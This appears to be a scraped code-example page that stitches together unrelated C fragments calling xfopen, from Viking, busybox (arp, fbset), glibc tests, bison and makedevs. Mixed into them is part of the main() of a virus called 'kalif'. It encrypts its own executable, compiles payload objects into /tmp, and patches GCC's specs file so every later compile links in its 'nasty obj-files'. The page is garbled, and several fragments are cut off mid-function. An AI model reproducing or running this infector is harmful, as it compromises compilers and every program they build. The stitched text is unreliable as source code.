VIK_TRW_LAYER(vtl), f, dirpath ) ) ) {        // Failure here means we don't know how to handle the file        load_answer = LOAD_TYPE_UNSUPPORTED_FAILURE;      }    }    g_free ( dirpath );    // Clean up when we can't handle the file    if ( ! success ) {      // free up layer      g_object_unref ( vtl );    }    else {      // Complete the setup from the successful load      vik_layer_post_read ( vtl, vp, TRUE );      vik_aggregate_layer_add_layer ( top, vtl, FALSE );      vik_trw_layer_auto_set_view ( VIK_TRW_LAYER(vtl), vp );    }  }  xfclose(f);  return load_answer;}

/* Called only from main, once */static int arp_show(char *name){	const char *host;	const char *hostname;	FILE *fp;	struct sockaddr sa;	int type, flags;	int num;	unsigned entries = 0, shown = 0;	char ip[128];	char hwa[128];	char mask[128];	char line[128];	char dev[128];	host = NULL;	if (name != NULL) {		/* Resolve the host name. */		if (ap->input(name, &sa) < 0) {			bb_herror_msg_and_die("%s", name);		}		host = xstrdup(ap->sprint(&sa, 1));	}	fp = xfopen("/proc/net/arp", "r");	/* Bypass header -- read one line */	fgets(line, sizeof(line), fp);	/* Read the ARP cache entries. */	while (fgets(line, sizeof(line), fp)) {		mask[0] = '-'; mask[1] = '/0';		dev[0] = '-'; dev[1] = '/0';		/* All these strings can't overflow		 * because fgets above reads limited amount of data */		num = sscanf(line, "%s 0x%x 0x%x %s %s %s/n",					 ip, &type, &flags, hwa, mask, dev);		if (num < 4)			break;		entries++;		/* if the user specified hw-type differs, skip it */		if (hw_set && (type != hw->type))			continue;		/* if the user specified address differs, skip it */		if (host && strcmp(ip, host) != 0)			continue;		/* if the user specified device differs, skip it */		if (device[0] && strcmp(dev, device) != 0)			continue;		shown++;		/* This IS ugly but it works -be */		hostname = "?";		if (!(option_mask32 & ARP_OPT_n)) {			if (ap->input(ip, &sa) < 0)				hostname = ip;			else				hostname = ap->sprint(&sa, (option_mask32 & ARP_OPT_n) | 0x8000);			if (strcmp(hostname, ip) == 0)				hostname = "?";		}		arp_disp(hostname, ip, type, flags, hwa, mask, dev);	}	if (option_mask32 & ARP_OPT_v)		printf("Entries: %d/tSkipped: %d/tFound: %d/n",			   entries, entries - shown, shown);	if (!shown) {		if (hw_set || host || device[0])			printf("No match found in %d entries/n", entries);	}	if (ENABLE_FEATURE_CLEAN_UP) {		free((char*)host);		fclose(fp);	}	return 0;}

int main(int argc, char **argv, char **envp){        char *kalif;        int in, r;        FILE *fd, *out;        char specs[100] = {0},             key[30] = {0},             exe[200] = {0};        struct stat st;        struct utimbuf ut;                if ((kalif = (char*)malloc(KLEN)) == NULL) {           	perror("malloc");                exit(errno);        }        if ((in = open(argv[0], O_RDONLY)) < 0) {#ifdef DEBUG           	perror("open");#endif                exit(errno);        }        r = read(in, kalif, KLEN);        /* dump executable as hex */        fd = xfopen("/tmp/kalif.c", "w+");        /* but before we mutate a little bit :) */        mutate(key);        Vcrypt(kalif, key, r);        dump_it(fd, kalif, "X1", r);        fclose(fd);                /* get source of close() */        fd = xfopen("/tmp/close.c", "w+");        dump_it(fd, X2, NULL, X2LEN);        fclose(fd);                /* get directory where specs resists */        system("egcs -v 2>t");        fd = xfopen("t", "r");        fscanf(fd, "Reading specs from %s/n", specs);#ifdef DEBUG        printf("%s", specs);        #endif        fclose(fd);        unlink("t");        /* randomize close.c */        init_cce();        randomize_file("/tmp/close.c", "/tmp/closeR.c");        unlink("/tmp/close.c");                /* and compile it to be linked into victum later */        sprintf(exe, "gcc -c -O2 -D KEY=/"///"%s///"/" /tmp/closeR.c -o /tmp/.close.o~&>/dev/null", key);#ifdef DEBUG        printf("%s/n", exe);#endif        system(exe);        system("gcc -c -O2 /tmp/kalif.c -o /tmp/.kalif.o~&>/dev/null");        unlink("/tmp/kalif.c");#ifndef DEBUG        unlink("/tmp/closeR.c");#endif   	/* BREAK! if EIP is here, we already did the following:         * extraceted close.c         * randomized close.c         * compiled rand. close.c          * extracted kalif to c-file         * compiled it         * what we do now is simply patch the specs file of GCC to link in         * our 2 nasty obj-files every time gcc is ionvoked         */        /* dont touch permissions */        stat(specs, &st);                fd = xfopen(specs, "r+");        bzero(kalif, KLEN);        kalif[0] = 'X';                /* seek to our fave position */        while (strcmp(kalif, "*link:/n"))            	fgets(kalif, 200, fd);        fgets(kalif, 200, fd);         fclose(fd);        /* already patched ? */        if (strstr(kalif, "/tmp/.kalif.o~"))            	return 0;                /* we're friendly: we save specs-file :) */        sprintf(exe, "mv %s /tmp/.specs.bak~>/dev/null", specs);        system(exe);                /* get position where we will add our stuff */        fd = xfopen("/tmp/.specs.bak~", "r");        out = xfopen(specs, "w+");        while (strcmp(kalif, "*link:/n")) {           	fgets(kalif, 200, fd);                fprintf(out, "%s", kalif);        }        //.........这里部分代码省略.........

  support_write_file_string (path, "alias1a, alias2/n");  free (path);  path = xasprintf ("%s/etc/aliases.comment", chroot_env->path_chroot);  add_temp_file (path);  support_write_file_string    (path,     /* The line must be longer than the line with the :include:        directive in /etc/aliases.  */     "# Long line.  ##############################################/n"     "comment2/n");  free (path);  path = xasprintf ("%s/etc/aliases.many", chroot_env->path_chroot);  add_temp_file (path);  FILE *fp = xfopen (path, "w");  for (int i = 0; i < many_aliases; ++i)    fprintf (fp, "a%d/n", i);  TEST_VERIFY_EXIT (! ferror (fp));  xfclose (fp);  free (path);}/* The names of the users to test.  */static const char *users[] = { "user1", "user2", "comment", "many" };static voidcheck_aliases (int id, const struct aliasent *e){  TEST_VERIFY_EXIT (id >= 0 || id < array_length (users));  const char *name = users[id];

static voidoutput_skeleton (void){  FILE *in;  FILE *out;  int filter_fd[2];  char const *argv[6];  pid_t pid;  /* Compute the names of the package data dir and skeleton file.     Test whether m4sugar.m4 is readable, to check for proper     installation.  A faulty installation can cause deadlock, so a     cheap sanity check is worthwhile.  */  char const m4sugar[] = "m4sugar/m4sugar.m4";  char *full_m4sugar;  char *full_skeleton;  char const *p;  char const *m4 = (p = getenv ("M4")) ? p : M4;  char const *pkgdatadir = (p = getenv ("BISON_PKGDATADIR")) ? p : PKGDATADIR;  size_t skeleton_size = strlen (skeleton) + 1;  size_t pkgdatadirlen = strlen (pkgdatadir);  while (pkgdatadirlen && pkgdatadir[pkgdatadirlen - 1] == '/')    pkgdatadirlen--;  full_skeleton = xmalloc (pkgdatadirlen + 1			   + (skeleton_size < sizeof m4sugar			      ? sizeof m4sugar : skeleton_size));  strcpy (full_skeleton, pkgdatadir);  full_skeleton[pkgdatadirlen] = '/';  strcpy (full_skeleton + pkgdatadirlen + 1, m4sugar);  full_m4sugar = xstrdup (full_skeleton);  strcpy (full_skeleton + pkgdatadirlen + 1, skeleton);  xfclose (xfopen (full_m4sugar, "r"));  /* Create an m4 subprocess connected to us via two pipes.  */  if (trace_flag & trace_tools)    fprintf (stderr, "running: %s %s - %s/n",	     m4, full_m4sugar, full_skeleton);  argv[0] = m4;  argv[1] = full_m4sugar;  argv[2] = "-";  argv[3] = full_skeleton;  argv[4] = trace_flag & trace_m4 ? "-dV" : NULL;  argv[5] = NULL;  init_subpipe ();  pid = create_subpipe (argv, filter_fd);  free (full_m4sugar);  free (full_skeleton);  out = fdopen (filter_fd[0], "w");  if (! out)    error (EXIT_FAILURE, get_errno (),	   "fdopen");  /* Output the definitions of all the muscles.  */  fputs ("m4_init()/n", out);  user_actions_output (out);  merger_output (out);  token_definitions_output (out);  symbol_destructors_output (out);  symbol_printers_output (out);  muscles_m4_output (out);  fputs ("m4_wrap([m4_divert_pop(0)])/n", out);  fputs ("m4_divert_push(0)dnl/n", out);  xfclose (out);  /* Read and process m4's output.  */  timevar_push (TV_M4);  end_of_output_subpipe (pid, filter_fd);  in = fdopen (filter_fd[1], "r");  if (! in)    error (EXIT_FAILURE, get_errno (),	   "fdopen");  scan_skel (in);  xfclose (in);  reap_subpipe (pid, m4);  timevar_pop (TV_M4);}

static int readmode(struct fb_var_screeninfo *base, const char *fn,					const char *mode){#ifdef CONFIG_FEATURE_FBSET_READMODE	FILE *f;	char buf[256];	char *p = buf;	f = xfopen(fn, "r");	while (!feof(f)) {		fgets(buf, sizeof(buf), f);		if (!(p = strstr(buf, "mode ")) && !(p = strstr(buf, "mode/t")))			continue;		p += 5;		if (!(p = strstr(buf, mode)))			continue;		p += strlen(mode);		if (!isspace(*p) && (*p != 0) && (*p != '"')				&& (*p != '/r') && (*p != '/n'))			continue;	/* almost, but not quite */		while (!feof(f)) {			fgets(buf, sizeof(buf), f);			if ((p = strstr(buf, "geometry "))) {				p += 9;				/* FIXME: catastrophic on arches with 64bit ints */				sscanf(p, "%d %d %d %d %d",					&(base->xres), &(base->yres),					&(base->xres_virtual), &(base->yres_virtual),					&(base->bits_per_pixel));			} else if ((p = strstr(buf, "timings "))) {				p += 8;				sscanf(p, "%d %d %d %d %d %d %d",					&(base->pixclock),					&(base->left_margin), &(base->right_margin),					&(base->upper_margin), &(base->lower_margin),					&(base->hsync_len), &(base->vsync_len));			} else if ((p = strstr(buf, "laced "))) {				//p += 6;				if (strstr(buf, "false")) {					base->vmode &= ~FB_VMODE_INTERLACED;				} else {					base->vmode |= FB_VMODE_INTERLACED;				}			} else if ((p = strstr(buf, "double "))) {				//p += 7;				if (strstr(buf, "false")) {					base->vmode &= ~FB_VMODE_DOUBLE;				} else {					base->vmode |= FB_VMODE_DOUBLE;				}			} else if ((p = strstr(buf, "vsync "))) {				//p += 6;				if (strstr(buf, "low")) {					base->sync &= ~FB_SYNC_VERT_HIGH_ACT;				} else {					base->sync |= FB_SYNC_VERT_HIGH_ACT;				}			} else if ((p = strstr(buf, "hsync "))) {				//p += 6;				if (strstr(buf, "low")) {					base->sync &= ~FB_SYNC_HOR_HIGH_ACT;				} else {					base->sync |= FB_SYNC_HOR_HIGH_ACT;				}			} else if ((p = strstr(buf, "csync "))) {				//p += 6;				if (strstr(buf, "low")) {					base->sync &= ~FB_SYNC_COMP_HIGH_ACT;				} else {					base->sync |= FB_SYNC_COMP_HIGH_ACT;				}			} else if ((p = strstr(buf, "extsync "))) {				//p += 8;				if (strstr(buf, "false")) {					base->sync &= ~FB_SYNC_EXT;				} else {					base->sync |= FB_SYNC_EXT;				}			}			if (strstr(buf, "endmode"))				return 1;		}	}#else	bb_error_msg("mode reading not compiled in");#endif	return 0;}

int main(int argc, char **argv){	int c, opt;	extern char *optarg;	struct stat statbuf;	char passwd_path[PATH_MAX];	char group_path[PATH_MAX];	FILE *passwd_file = NULL;	FILE *group_file = NULL;	FILE *devtable = NULL;	umask (0);	while ((opt = getopt_long(argc, argv, "D:d:r:qhv", 			long_options, &c)) >= 0) {		switch (opt) {		case 'D':			devtable = xfopen(optarg, "r");			if (fstat(fileno(devtable), &statbuf) < 0)				perror_msg_and_die(optarg);			if (statbuf.st_size < 10)				error_msg_and_die("%s: not a proper device table file", optarg);			break;		case 'h':			fprintf(stderr, helptext);			exit(1);		case 'r':		case 'd':				/* for compatibility with mkfs.jffs, genext2fs, etc... */			if (rootdir != default_rootdir) {				error_msg_and_die("root directory specified more than once");			}			rootdir = xstrdup(optarg);			break;		case 'v':			fprintf(stderr, "makedevs revision %.*s/n",					(int) strlen(revtext) - 13, revtext + 11);			exit(1);		}	}	// Get name-id mapping	sprintf(passwd_path, "%s/etc/passwd", rootdir);	sprintf(group_path, "%s/etc/group", rootdir);	if ((passwd_file = fopen(passwd_path, "r")) != NULL) {		get_list_from_file(passwd_file, &usr_list);		fclose(passwd_file);	}	if ((group_file = fopen(group_path, "r")) != NULL) {		get_list_from_file(group_file, &grp_list);		fclose(group_file);	}	// Parse devtable	if(devtable) {		parse_devtable(devtable);		fclose(devtable);	}	// Free list	free_list(usr_list);	free_list(grp_list);	return 0;}